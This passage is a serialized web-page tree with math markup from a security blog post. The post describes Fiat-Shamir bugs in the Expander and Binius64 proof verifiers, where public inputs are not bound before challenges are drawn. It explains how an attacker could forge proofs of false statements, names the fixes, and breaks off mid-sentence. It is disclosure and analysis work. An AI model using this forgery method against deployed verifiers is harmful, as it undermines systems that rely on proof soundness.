4],[122643],{"type":31,"value":16907},{"type":25,"tag":201,"props":122645,"children":122647},{"className":122646,"style":5594},[5593],[],{"type":25,"tag":201,"props":122649,"children":122651},{"className":122650},[5599],[122652],{"type":31,"value":112393},{"type":25,"tag":201,"props":122654,"children":122656},{"className":122655,"style":5594},[5593],[],{"type":25,"tag":201,"props":122658,"children":122660},{"className":122659},[5502],[122661,122665,122674,122679,122684,122689,122693,122742],{"type":25,"tag":201,"props":122662,"children":122664},{"className":122663,"style":5614},[5507],[],{"type":25,"tag":201,"props":122666,"children":122668},{"className":122667},[5513,31],[122669],{"type":25,"tag":201,"props":122670,"children":122672},{"className":122671},[5513],[122673],{"type":31,"value":113720},{"type":25,"tag":201,"props":122675,"children":122677},{"className":122676},[23212],[122678],{"type":31,"value":298},{"type":25,"tag":201,"props":122680,"children":122682},{"className":122681},[5513,23083],[122683],{"type":31,"value":3641},{"type":25,"tag":201,"props":122685,"children":122687},{"className":122686},[5625],[122688],{"type":31,"value":5628},{"type":25,"tag":201,"props":122690,"children":122692},{"className":122691,"style":5632},[5593],[],{"type":25,"tag":201,"props":122694,"children":122696},{"className":122695},[5513,113280],[122697],{"type":25,"tag":201,"props":122698,"children":122700},{"className":122699},[5534],[122701],{"type":25,"tag":201,"props":122702,"children":122704},{"className":122703},[5539],[122705],{"type":25,"tag":201,"props":122706,"children":122708},{"className":122707,"style":113366},[5544],[122709,122721],{"type":25,"tag":201,"props":122710,"children":122711},{"style":113297},[122712,122716],{"type":25,"tag":201,"props":122713,"children":122715},{"className":122714,"style":113302},[5553],[],{"type":25,"tag":201,"props":122717,"children":122719},{"className":122718,"style":94131},[5513,23083],[122720],{"type":31,"value":94950},{"type":25,"tag":201,"props":122722,"children":122723},{"style":113297},[122724,122728],{"type":25,"tag":201,"props":122725,"children":122727},{"className":122726,"style":113302},[5553],[],{"type":25,"tag":201,"props":122729,"children":122731},{"className":122730,"style":113390},[113320],[122732],{"type":25,"tag":201,"props":122733,"children":122735},{"className":122734,"style":113396},[113395],[122736],{"type":25,"tag":3213,"props":122737,"children":122738},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[122739],{"type":25,"tag":113408,"props":122740,"children":122741},{"d":113410},[],{"type":25,"tag":201,"props":122743,"children":122745},{"className":122744},[23234],[122746],{"type":31,"value":3073},{"type":25,"tag":34,"props":122748,"children":122749},{},[122750,122751,122820,122822,122827,122829,122834],{"type":31,"value":116967},{"type":25,"tag":115,"props":122752,"children":122754},{"className":122753},[5485,5486],[122755],{"type":25,"tag":201,"props":122756,"children":122758},{"className":122757},[5491],[122759],{"type":25,"tag":201,"props":122760,"children":122762},{"className":122761,"ariaHidden":5497},[5496],[122763],{"type":25,"tag":201,"props":122764,"children":122766},{"className":122765},[5502],[122767,122771],{"type":25,"tag":201,"props":122768,"children":122770},{"className":122769,"style":113366},[5507],[],{"type":25,"tag":201,"props":122772,"children":122774},{"className":122773},[5513,113280],[122775],{"type":25,"tag":201,"props":122776,"children":122778},{"className":122777},[5534],[122779],{"type":25,"tag":201,"props":122780,"children":122782},{"className":122781},[5539],[122783],{"type":25,"tag":201,"props":122784,"children":122786},{"className":122785,"style":113366},[5544],[122787,122799],{"type":25,"tag":201,"props":122788,"children":122789},{"style":113297},[122790,122794],{"type":25,"tag":201,"props":122791,"children":122793},{"className":122792,"style":113302},[5553],[],{"type":25,"tag":201,"props":122795,"children":122797},{"className":122796,"style":94131},[5513,23083],[122798],{"type":31,"value":94950},{"type":25,"tag":201,"props":122800,"children":122801},{"style":113297},[122802,122806],{"type":25,"tag":201,"props":122803,"children":122805},{"className":122804,"style":113302},[5553],[],{"type":25,"tag":201,"props":122807,"children":122809},{"className":122808,"style":113390},[113320],[122810],{"type":25,"tag":201,"props":122811,"children":122813},{"className":122812,"style":113396},[113395],[122814],{"type":25,"tag":3213,"props":122815,"children":122816},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[122817],{"type":25,"tag":113408,"props":122818,"children":122819},{"d":113410},[],{"type":31,"value":122821}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":25,"tag":115,"props":122823,"children":122825},{"className":122824},[],[122826],{"type":31,"value":122411},{"type":31,"value":122828},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":25,"tag":115,"props":122830,"children":122832},{"className":122831},[],[122833],{"type":31,"value":122411},{"type":31,"value":122835}," that makes the verifier's check pass.",{"type":25,"tag":34,"props":122837,"children":122838},{},[122839,122843,122845,122852,122853,122856,122863],{"type":25,"tag":1252,"props":122840,"children":122841},{},[122842],{"type":31,"value":117841},{"type":31,"value":122844}," Fixed on 21st January 2026 via ",{"type":25,"tag":71,"props":122846,"children":122849},{"href":122847,"rel":122848},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[75],[122850],{"type":31,"value":122851},"commit 4a8c2be",{"type":31,"value":7966},{"type":25,"tag":32453,"props":122854,"children":122855},{},[],{"type":25,"tag":71,"props":122857,"children":122860},{"href":122858,"rel":122859},"https://blog.polyhedra.network/expander-bug-bounty/",[75],[122861],{"type":31,"value":122862},"Claimed 500k Bug bounty",{"type":31,"value":122864}," award pending",{"type":25,"tag":20292,"props":122866,"children":122867},{},[],{"type":25,"tag":40,"props":122869,"children":122871},{"id":122870},"binius64",[122872],{"type":31,"value":108974},{"type":25,"tag":34,"props":122874,"children":122875},{},[122876,122878,123005],{"type":31,"value":122877},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":25,"tag":115,"props":122879,"children":122881},{"className":122880},[5485,5486],[122882],{"type":25,"tag":201,"props":122883,"children":122885},{"className":122884},[5491],[122886],{"type":25,"tag":201,"props":122887,"children":122889},{"className":122888,"ariaHidden":5497},[5496],[122890],{"type":25,"tag":201,"props":122891,"children":122893},{"className":122892},[5502],[122894,122899],{"type":25,"tag":201,"props":122895,"children":122898},{"className":122896,"style":122897},[5507],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":25,"tag":201,"props":122900,"children":122902},{"className":122901},[5513],[122903,122910],{"type":25,"tag":201,"props":122904,"children":122907},{"className":122905},[5513,122906],"mathbb",[122908],{"type":31,"value":122909},"F",{"type":25,"tag":201,"props":122911,"children":122913},{"className":122912},[5529],[122914],{"type":25,"tag":201,"props":122915,"children":122917},{"className":122916},[5534,23137],[122918,122993],{"type":25,"tag":201,"props":122919,"children":122921},{"className":122920},[5539],[122922,122988],{"type":25,"tag":201,"props":122923,"children":122925},{"className":122924,"style":113463},[5544],[122926],{"type":25,"tag":201,"props":122927,"children":122929},{"style":122928},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[122930,122934],{"type":25,"tag":201,"props":122931,"children":122933},{"className":122932,"style":5554},[5553],[],{"type":25,"tag":201,"props":122935,"children":122937},{"className":122936},[5559,5560,5561,5562],[122938],{"type":25,"tag":201,"props":122939,"children":122941},{"className":122940},[5513,5562],[122942],{"type":25,"tag":201,"props":122943,"children":122945},{"className":122944},[5513,5562],[122946,122951],{"type":25,"tag":201,"props":122947,"children":122949},{"className":122948},[5513,5562],[122950],{"type":31,"value":4629},{"type":25,"tag":201,"props":122952,"children":122954},{"className":122953},[5529],[122955],{"type":25,"tag":201,"props":122956,"children":122958},{"className":122957},[5534],[122959],{"type":25,"tag":201,"props":122960,"children":122962},{"className":122961},[5539],[122963],{"type":25,"tag":201,"props":122964,"children":122967},{"className":122965,"style":122966},[5544],"height:0.7463em;",[122968],{"type":25,"tag":201,"props":122969,"children":122970},{"style":113588},[122971,122975],{"type":25,"tag":201,"props":122972,"children":122974},{"className":122973,"style":109991},[5553],[],{"type":25,"tag":201,"props":122976,"children":122978},{"className":122977},[5559,109996,109997,5562],[122979],{"type":25,"tag":201,"props":122980,"children":122982},{"className":122981},[5513,5562],[122983],{"type":25,"tag":201,"props":122984,"children":122986},{"className":122985},[5513,5562],[122987],{"type":31,"value":31331},{"type":25,"tag":201,"props":122989,"children":122991},{"className":122990},[23240],[122992],{"type":31,"value":23243},{"type":25,"tag":201,"props":122994,"children":122996},{"className":122995},[5539],[122997],{"type":25,"tag":201,"props":122998,"children":123001},{"className":122999,"style":123000},[5544],"height:0.1776em;",[123002],{"type":25,"tag":201,"props":123003,"children":123004},{},[],{"type":31,"value":123006}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":25,"tag":34,"props":123008,"children":123009},{},[123010,123012,123017],{"type":31,"value":123011},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":25,"tag":1252,"props":123013,"children":123014},{},[123015],{"type":31,"value":123016},"Shift Protocol",{"type":31,"value":123018}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":25,"tag":34,"props":123020,"children":123021},{},[123022],{"type":25,"tag":1252,"props":123023,"children":123024},{},[123025],{"type":31,"value":122443},{"type":25,"tag":34,"props":123027,"children":123028},{},[123029],{"type":31,"value":123030},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":25,"tag":191,"props":123032,"children":123034},{"code":123033,"language":4486,"meta":7,"className":4487,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123035],{"type":25,"tag":115,"props":123036,"children":123037},{"__ignoreMap":7},[123038,123073,123098,123132,123140],{"type":25,"tag":201,"props":123039,"children":123040},{"class":203,"line":204},[123041,123045,123049,123053,123057,123061,123065,123069],{"type":25,"tag":201,"props":123042,"children":123043},{"style":208},[123044],{"type":31,"value":15192},{"type":25,"tag":201,"props":123046,"children":123047},{"style":208},[123048],{"type":31,"value":15197},{"type":25,"tag":201,"props":123050,"children":123051},{"style":214},[123052],{"type":31,"value":9674},{"type":25,"tag":201,"props":123054,"children":123055},{"style":220},[123056],{"type":31,"value":1298},{"type":25,"tag":201,"props":123058,"children":123059},{"style":4925},[123060],{"type":31,"value":122909},{"type":25,"tag":201,"props":123062,"children":123063},{"style":220},[123064],{"type":31,"value":919},{"type":25,"tag":201,"props":123066,"children":123067},{"style":4925},[123068],{"type":31,"value":117360},{"type":25,"tag":201,"props":123070,"children":123071},{"style":220},[123072],{"type":31,"value":8097},{"type":25,"tag":201,"props":123074,"children":123075},{"class":203,"line":226},[123076,123081,123085,123089,123094],{"type":25,"tag":201,"props":123077,"children":123078},{"style":246},[123079],{"type":31,"value":123080},"    constraint_system",{"type":25,"tag":201,"props":123082,"children":123083},{"style":261},[123084],{"type":31,"value":5997},{"type":25,"tag":201,"props":123086,"children":123087},{"style":261},[123088],{"type":31,"value":8650},{"type":25,"tag":201,"props":123090,"children":123091},{"style":4925},[123092],{"type":31,"value":123093},"ConstraintSystem",{"type":25,"tag":201,"props":123095,"children":123096},{"style":220},[123097],{"type":31,"value":547},{"type":25,"tag":201,"props":123099,"children":123100},{"class":203,"line":278},[123101,123105,123109,123113,123117,123122,123127],{"type":25,"tag":201,"props":123102,"children":123103},{"style":246},[123104],{"type":31,"value":9031},{"type":25,"tag":201,"props":123106,"children":123107},{"style":261},[123108],{"type":31,"value":5997},{"type":25,"tag":201,"props":123110,"children":123111},{"style":261},[123112],{"type":31,"value":8650},{"type":25,"tag":201,"props":123114,"children":123115},{"style":220},[123116],{"type":31,"value":423},{"type":25,"tag":201,"props":123118,"children":123119},{"style":4925},[123120],{"type":31,"value":123121},"Word",{"type":25,"tag":201,"props":123123,"children":123124},{"style":220},[123125],{"type":31,"value":123126},"],    ",{"type":25,"tag":201,"props":123128,"children":123129},{"style":4497},[123130],{"type":31,"value":123131},"// \u003C- NEVER ABSORBED\n",{"type":25,"tag":201,"props":123133,"children":123134},{"class":203,"line":311},[123135],{"type":25,"tag":201,"props":123136,"children":123137},{"style":4497},[123138],{"type":31,"value":123139},"    // ...\n",{"type":25,"tag":201,"props":123141,"children":123142},{"class":203,"line":330},[123143,123147,123151,123155,123159,123164,123168,123172,123176,123180],{"type":25,"tag":201,"props":123144,"children":123145},{"style":220},[123146],{"type":31,"value":385},{"type":25,"tag":201,"props":123148,"children":123149},{"style":261},[123150],{"type":31,"value":15259},{"type":25,"tag":201,"props":123152,"children":123153},{"style":4925},[123154],{"type":31,"value":15264},{"type":25,"tag":201,"props":123156,"children":123157},{"style":220},[123158],{"type":31,"value":1298},{"type":25,"tag":201,"props":123160,"children":123161},{"style":4925},[123162],{"type":31,"value":123163},"VerifyOutput",{"type":25,"tag":201,"props":123165,"children":123166},{"style":220},[123167],{"type":31,"value":1298},{"type":25,"tag":201,"props":123169,"children":123170},{"style":4925},[123171],{"type":31,"value":122909},{"type":25,"tag":201,"props":123173,"children":123174},{"style":220},[123175],{"type":31,"value":8139},{"type":25,"tag":201,"props":123177,"children":123178},{"style":4925},[123179],{"type":31,"value":38468},{"type":25,"tag":201,"props":123181,"children":123182},{"style":220},[123183],{"type":31,"value":1308},{"type":25,"tag":34,"props":123185,"children":123186},{},[123187,123189,123195,123196,123202,123204,123208],{"type":31,"value":123188},"In the shift protocol, challenges ",{"type":25,"tag":115,"props":123190,"children":123192},{"className":123191},[],[123193],{"type":31,"value":123194},"r_j",{"type":31,"value":12493},{"type":25,"tag":115,"props":123197,"children":123199},{"className":123198},[],[123200],{"type":31,"value":123201},"inout_eval_point",{"type":31,"value":123203}," are sampled ",{"type":25,"tag":1252,"props":123205,"children":123206},{},[123207],{"type":31,"value":105675},{"type":31,"value":123209}," the public witness is bound.",{"type":25,"tag":34,"props":123211,"children":123212},{},[123213],{"type":25,"tag":1252,"props":123214,"children":123215},{},[123216],{"type":31,"value":116563},{"type":25,"tag":34,"props":123218,"children":123219},{},[123220],{"type":25,"tag":127,"props":123221,"children":123224},{"alt":123222,"src":123223},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":25,"tag":34,"props":123226,"children":123227},{},[123228],{"type":31,"value":123229},"During verification",{"type":25,"tag":6944,"props":123231,"children":123232},{},[123233,123253,123265,123284],{"type":25,"tag":6948,"props":123234,"children":123235},{},[123236,123238,123243,123245,123251],{"type":31,"value":123237},"Sumcheck produces challenge points ",{"type":25,"tag":115,"props":123239,"children":123241},{"className":123240},[],[123242],{"type":31,"value":123194},{"type":31,"value":123244}," (bit indices) and ",{"type":25,"tag":115,"props":123246,"children":123248},{"className":123247},[],[123249],{"type":31,"value":123250},"r_s",{"type":31,"value":123252}," (shift indices)",{"type":25,"tag":6948,"props":123254,"children":123255},{},[123256,123258,123263],{"type":31,"value":123257},"Verifier samples ",{"type":25,"tag":115,"props":123259,"children":123261},{"className":123260},[],[123262],{"type":31,"value":123201},{"type":31,"value":123264}," from transcript",{"type":25,"tag":6948,"props":123266,"children":123267},{},[123268,123270,123276,123278,123283],{"type":31,"value":123269},"Verifier computes ",{"type":25,"tag":115,"props":123271,"children":123273},{"className":123272},[],[123274],{"type":31,"value":123275},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":31,"value":123277}," using the unbound ",{"type":25,"tag":115,"props":123279,"children":123281},{"className":123280},[],[123282],{"type":31,"value":62755},{"type":31,"value":19631},{"type":25,"tag":6948,"props":123285,"children":123286},{},[123287,123288,123294],{"type":31,"value":18109},{"type":25,"tag":115,"props":123289,"children":123291},{"className":123290},[],[123292],{"type":31,"value":123293},"public_eval",{"type":31,"value":123295}," feeds into subsequent verification equations",{"type":25,"tag":34,"props":123297,"children":123298},{},[123299],{"type":31,"value":123300},"The MLE evaluation is linear in the public witness bits:",{"type":25,"tag":34,"props":123302,"children":123303},{},[123304],{"type":25,"tag":115,"props":123305,"children":123307},{"className":123306},[5485,5486],[123308],{"type":25,"tag":201,"props":123309,"children":123311},{"className":123310},[5491],[123312],{"type":25,"tag":201,"props":123313,"children":123315},{"className":123314,"ariaHidden":5497},[5496],[123316,123360,123500,123612],{"type":25,"tag":201,"props":123317,"children":123319},{"className":123318},[5502],[123320,123324,123333,123338,123347,123351,123356],{"type":25,"tag":201,"props":123321,"children":123323},{"className":123322,"style":95544},[5507],[],{"type":25,"tag":201,"props":123325,"children":123327},{"className":123326},[5513,31],[123328],{"type":25,"tag":201,"props":123329,"children":123331},{"className":123330},[5513],[123332],{"type":31,"value":62755},{"type":25,"tag":201,"props":123334,"children":123336},{"className":123335,"style":94131},[5513],[123337],{"type":31,"value":4589},{"type":25,"tag":201,"props":123339,"children":123341},{"className":123340},[5513,31],[123342],{"type":25,"tag":201,"props":123343,"children":123345},{"className":123344},[5513],[123346],{"type":31,"value":38618},{"type":25,"tag":201,"props":123348,"children":123350},{"className":123349,"style":5691},[5593],[],{"type":25,"tag":201,"props":123352,"children":123354},{"className":123353},[5696],[123355],{"type":31,"value":1383},{"type":25,"tag":201,"props":123357,"children":123359},{"className":123358,"style":5691},[5593],[],{"type":25,"tag":201,"props":123361,"children":123363},{"className":123362},[5502],[123364,123368,123440,123444,123457,123462,123467,123472,123477,123482,123487,123491,123496],{"type":25,"tag":201,"props":123365,"children":123367},{"className":123366,"style":119893},[5507],[],{"type":25,"tag":201,"props":123369,"children":123371},{"className":123370},[23119],[123372,123377],{"type":25,"tag":201,"props":123373,"children":123375},{"className":123374,"style":23126},[23119,23124,23125],[123376],{"type":31,"value":109926},{"type":25,"tag":201,"props":123378,"children":123380},{"className":123379},[5529],[123381],{"type":25,"tag":201,"props":123382,"children":123384},{"className":123383},[5534,23137],[123385,123429],{"type":25,"tag":201,"props":123386,"children":123388},{"className":123387},[5539],[123389,123424],{"type":25,"tag":201,"props":123390,"children":123392},{"className":123391,"style":114803},[5544],[123393],{"type":25,"tag":201,"props":123394,"children":123395},{"style":23150},[123396,123400],{"type":25,"tag":201,"props":123397,"children":123399},{"className":123398,"style":5554},[5553],[],{"type":25,"tag":201,"props":123401,"children":123403},{"className":123402},[5559,5560,5561,5562],[123404],{"type":25,"tag":201,"props":123405,"children":123407},{"className":123406},[5513,5562],[123408,123414,123419],{"type":25,"tag":201,"props":123409,"children":123412},{"className":123410,"style":123411},[5513,23083,5562],"margin-right:0.02691em;",[123413],{"type":31,"value":50649},{"type":25,"tag":201,"props":123415,"children":123417},{"className":123416},[5625,5562],[123418],{"type":31,"value":5628},{"type":25,"tag":201,"props":123420,"children":123422},{"className":123421},[5513,23083,5562],[123423],{"type":31,"value":4729},{"type":25,"tag":201,"props":123425,"children":123427},{"className":123426},[23240],[123428],{"type":31,"value":23243},{"type":25,"tag":201,"props":123430,"children":123432},{"className":123431},[5539],[123433],{"type":25,"tag":201,"props":123434,"children":123436},{"className":123435,"style":115369},[5544],[123437],{"type":25,"tag":201,"props":123438,"children":123439},{},[],{"type":25,"tag":201,"props":123441,"children":123443},{"className":123442,"style":5632},[5593],[],{"type":25,"tag":201,"props":123445,"children":123447},{"className":123446},[5513],[123448],{"type":25,"tag":201,"props":123449,"children":123451},{"className":123450},[5513,31],[123452],{"type":25,"tag":201,"props":123453,"children":123455},{"className":123454},[5513],[123456],{"type":31,"value":62755},{"type":25,"tag":201,"props":123458,"children":123460},{"className":123459},[23212],[123461],{"type":31,"value":423},{"type":25,"tag":201,"props":123463,"children":123465},{"className":123464,"style":123411},[5513,23083],[123466],{"type":31,"value":50649},{"type":25,"tag":201,"props":123468,"children":123470},{"className":123469},[23234],[123471],{"type":31,"value":16907},{"type":25,"tag":201,"props":123473,"children":123475},{"className":123474},[23212],[123476],{"type":31,"value":423},{"type":25,"tag":201,"props":123478,"children":123480},{"className":123479},[5513,23083],[123481],{"type":31,"value":4729},{"type":25,"tag":201,"props":123483,"children":123485},{"className":123484},[23234],[123486],{"type":31,"value":16907},{"type":25,"tag":201,"props":123488,"children":123490},{"className":123489,"style":5594},[5593],[],{"type":25,"tag":201,"props":123492,"children":123494},{"className":123493},[5599],[123495],{"type":31,"value":112393},{"type":25,"tag":201,"props":123497,"children":123499},{"className":123498,"style":5594},[5593],[],{"type":25,"tag":201,"props":123501,"children":123503},{"className":123502},[5502],[123504,123509,123518,123523,123528,123533,123537,123594,123599,123603,123608],{"type":25,"tag":201,"props":123505,"children":123508},{"className":123506,"style":123507},[5507],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":25,"tag":201,"props":123510,"children":123512},{"className":123511},[5513,31],[123513],{"type":25,"tag":201,"props":123514,"children":123516},{"className":123515},[5513],[123517],{"type":31,"value":113720},{"type":25,"tag":201,"props":123519,"children":123521},{"className":123520},[23212],[123522],{"type":31,"value":298},{"type":25,"tag":201,"props":123524,"children":123526},{"className":123525},[5513,23083],[123527],{"type":31,"value":4729},{"type":25,"tag":201,"props":123529,"children":123531},{"className":123530},[5625],[123532],{"type":31,"value":5628},{"type":25,"tag":201,"props":123534,"children":123536},{"className":123535,"style":5632},[5593],[],{"type":25,"tag":201,"props":123538,"children":123540},{"className":123539},[5513],[123541,123546],{"type":25,"tag":201,"props":123542,"children":123544},{"className":123543,"style":94131},[5513,23083],[123545],{"type":31,"value":94950},{"type":25,"tag":201,"props":123547,"children":123549},{"className":123548},[5529],[123550],{"type":25,"tag":201,"props":123551,"children":123553},{"className":123552},[5534,23137],[123554,123583],{"type":25,"tag":201,"props":123555,"children":123557},{"className":123556},[5539],[123558,123578],{"type":25,"tag":201,"props":123559,"children":123561},{"className":123560,"style":94660},[5544],[123562],{"type":25,"tag":201,"props":123563,"children":123564},{"style":111130},[123565,123569],{"type":25,"tag":201,"props":123566,"children":123568},{"className":123567,"style":5554},[5553],[],{"type":25,"tag":201,"props":123570,"children":123572},{"className":123571},[5559,5560,5561,5562],[123573],{"type":25,"tag":201,"props":123574,"children":123576},{"className":123575,"style":115354},[5513,23083,5562],[123577],{"type":31,"value":10164},{"type":25,"tag":201,"props":123579,"children":123581},{"className":123580},[23240],[123582],{"type":31,"value":23243},{"type":25,"tag":201,"props":123584,"children":123586},{"className":123585},[5539],[123587],{"type":25,"tag":201,"props":123588,"children":123590},{"className":123589,"style":120041},[5544],[123591],{"type":25,"tag":201,"props":123592,"children":123593},{},[],{"type":25,"tag":201,"props":123595,"children":123597},{"className":123596},[23234],[123598],{"type":31,"value":3073},{"type":25,"tag":201,"props":123600,"children":123602},{"className":123601,"style":5594},[5593],[],{"type":25,"tag":201,"props":123604,"children":123606},{"className":123605},[5599],[123607],{"type":31,"value":112393},{"type":25,"tag":201,"props":123609,"children":123611},{"className":123610,"style":5594},[5593],[],{"type":25,"tag":201,"props":123613,"children":123615},{"className":123614},[5502],[123616,123620,123629,123634,123639,123644,123648,123658,123663,123672,123677,123686],{"type":25,"tag":201,"props":123617,"children":123619},{"className":123618,"style":94073},[5507],[],{"type":25,"tag":201,"props":123621,"children":123623},{"className":123622},[5513,31],[123624],{"type":25,"tag":201,"props":123625,"children":123627},{"className":123626},[5513],[123628],{"type":31,"value":113720},{"type":25,"tag":201,"props":123630,"children":123632},{"className":123631},[23212],[123633],{"type":31,"value":298},{"type":25,"tag":201,"props":123635,"children":123637},{"className":123636,"style":123411},[5513,23083],[123638],{"type":31,"value":50649},{"type":25,"tag":201,"props":123640,"children":123642},{"className":123641},[5625],[123643],{"type":31,"value":5628},{"type":25,"tag":201,"props":123645,"children":123647},{"className":123646,"style":5632},[5593],[],{"type":25,"tag":201,"props":123649,"children":123651},{"className":123650},[5513,31],[123652],{"type":25,"tag":201,"props":123653,"children":123655},{"className":123654},[5513],[123656],{"type":31,"value":123657},"inout",{"type":25,"tag":201,"props":123659,"children":123661},{"className":123660,"style":94131},[5513],[123662],{"type":31,"value":4589},{"type":25,"tag":201,"props":123664,"children":123666},{"className":123665},[5513,31],[123667],{"type":25,"tag":201,"props":123668,"children":123670},{"className":123669},[5513],[123671],{"type":31,"value":38618},{"type":25,"tag":201,"props":123673,"children":123675},{"className":123674,"style":94131},[5513],[123676],{"type":31,"value":4589},{"type":25,"tag":201,"props":123678,"children":123680},{"className":123679},[5513,31],[123681],{"type":25,"tag":201,"props":123682,"children":123684},{"className":123683},[5513],[123685],{"type":31,"value":118916},{"type":25,"tag":201,"props":123687,"children":123689},{"className":123688},[23234],[123690],{"type":31,"value":3073},{"type":25,"tag":34,"props":123692,"children":123693},{},[123694,123696,123701,123703,123776],{"type":31,"value":123695},"With challenges fixed (independent of ",{"type":25,"tag":115,"props":123697,"children":123699},{"className":123698},[],[123700],{"type":31,"value":62755},{"type":31,"value":123702},"), an attacker can find an alternate witness ",{"type":25,"tag":115,"props":123704,"children":123706},{"className":123705},[5485,5486],[123707],{"type":25,"tag":201,"props":123708,"children":123710},{"className":123709},[5491],[123711],{"type":25,"tag":201,"props":123712,"children":123714},{"className":123713,"ariaHidden":5497},[5496],[123715],{"type":25,"tag":201,"props":123716,"children":123718},{"className":123717},[5502],[123719,123724],{"type":25,"tag":201,"props":123720,"children":123723},{"className":123721,"style":123722},[5507],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":123725,"children":123727},{"className":123726},[5513],[123728,123737],{"type":25,"tag":201,"props":123729,"children":123731},{"className":123730},[5513,31],[123732],{"type":25,"tag":201,"props":123733,"children":123735},{"className":123734},[5513],[123736],{"type":31,"value":62755},{"type":25,"tag":201,"props":123738,"children":123740},{"className":123739},[5529],[123741],{"type":25,"tag":201,"props":123742,"children":123744},{"className":123743},[5534],[123745],{"type":25,"tag":201,"props":123746,"children":123748},{"className":123747},[5539],[123749],{"type":25,"tag":201,"props":123750,"children":123753},{"className":123751,"style":123752},[5544],"height:0.8362em;",[123754],{"type":25,"tag":201,"props":123755,"children":123757},{"style":123756},"top:-3.1473em;margin-right:0.05em;",[123758,123762],{"type":25,"tag":201,"props":123759,"children":123761},{"className":123760,"style":5554},[5553],[],{"type":25,"tag":201,"props":123763,"children":123765},{"className":123764},[5559,5560,5561,5562],[123766],{"type":25,"tag":201,"props":123767,"children":123769},{"className":123768},[5513,5562],[123770],{"type":25,"tag":201,"props":123771,"children":123773},{"className":123772},[5513,5562],[123774],{"type":31,"value":123775},"′",{"type":31,"value":123777}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":25,"tag":34,"props":123779,"children":123780},{},[123781,123785,123787],{"type":25,"tag":1252,"props":123782,"children":123783},{},[123784],{"type":31,"value":117841},{"type":31,"value":123786}," Fixed on December 29, 2025 via ",{"type":25,"tag":71,"props":123788,"children":123791},{"href":123789,"rel":123790},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[75],[123792],{"type":31,"value":123793},"commit 86a515f",{"type":25,"tag":20292,"props":123795,"children":123796},{},[],{"type":25,"tag":26,"props":123798,"children":123800},{"id":123799},"why-does-this-keep-happening",[123801],{"type":31,"value":123802},"Why Does This Keep Happening?",{"type":25,"tag":34,"props":123804,"children":123805},{},[123806],{"type":31,"value":123807},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":25,"tag":40,"props":123809,"children":123811},{"id":123810},"academic-papers-dont-specify-fiat-shamir",[123812],{"type":31,"value":123813},"Academic Papers Don't Specify Fiat-Shamir",{"type":25,"tag":34,"props":123815,"children":123816},{},[123817,123819,123824,123826,123851,123853,123856,123858,123883,123885,123912],{"type":31,"value":123818},"Academic papers usually describe ",{"type":25,"tag":65,"props":123820,"children":123821},{},[123822],{"type":31,"value":123823},"interactive",{"type":31,"value":123825}," protocols: \"Prover sends ",{"type":25,"tag":115,"props":123827,"children":123829},{"className":123828},[5485,5486],[123830],{"type":25,"tag":201,"props":123831,"children":123833},{"className":123832},[5491],[123834],{"type":25,"tag":201,"props":123835,"children":123837},{"className":123836,"ariaHidden":5497},[5496],[123838],{"type":25,"tag":201,"props":123839,"children":123841},{"className":123840},[5502],[123842,123846],{"type":25,"tag":201,"props":123843,"children":123845},{"className":123844,"style":23078},[5507],[],{"type":25,"tag":201,"props":123847,"children":123849},{"className":123848,"style":23615},[5513,23083],[123850],{"type":31,"value":117360},{"type":31,"value":123852},". Verifier sends",{"type":25,"tag":32453,"props":123854,"children":123855},{},[],{"type":31,"value":123857},"random ",{"type":25,"tag":115,"props":123859,"children":123861},{"className":123860},[5485,5486],[123862],{"type":25,"tag":201,"props":123863,"children":123865},{"className":123864},[5491],[123866],{"type":25,"tag":201,"props":123867,"children":123869},{"className":123868,"ariaHidden":5497},[5496],[123870],{"type":25,"tag":201,"props":123871,"children":123873},{"className":123872},[5502],[123874,123878],{"type":25,"tag":201,"props":123875,"children":123877},{"className":123876,"style":111972},[5507],[],{"type":25,"tag":201,"props":123879,"children":123881},{"className":123880,"style":94131},[5513,23083],[123882],{"type":31,"value":94950},{"type":31,"value":123884},". Prover sends ",{"type":25,"tag":115,"props":123886,"children":123888},{"className":123887},[5485,5486],[123889],{"type":25,"tag":201,"props":123890,"children":123892},{"className":123891},[5491],[123893],{"type":25,"tag":201,"props":123894,"children":123896},{"className":123895,"ariaHidden":5497},[5496],[123897],{"type":25,"tag":201,"props":123898,"children":123900},{"className":123899},[5502],[123901,123905],{"type":25,"tag":201,"props":123902,"children":123904},{"className":123903,"style":23078},[5507],[],{"type":25,"tag":201,"props":123906,"children":123909},{"className":123907,"style":123908},[5513,23083],"margin-right:0.00773em;",[123910],{"type":31,"value":123911},"R",{"type":31,"value":123913},".\"",{"type":25,"tag":34,"props":123915,"children":123916},{},[123917,123919,123944,123946,123971],{"type":31,"value":123918},"They often omit the necessary steps to make the protocol non-interactive: \"Hash 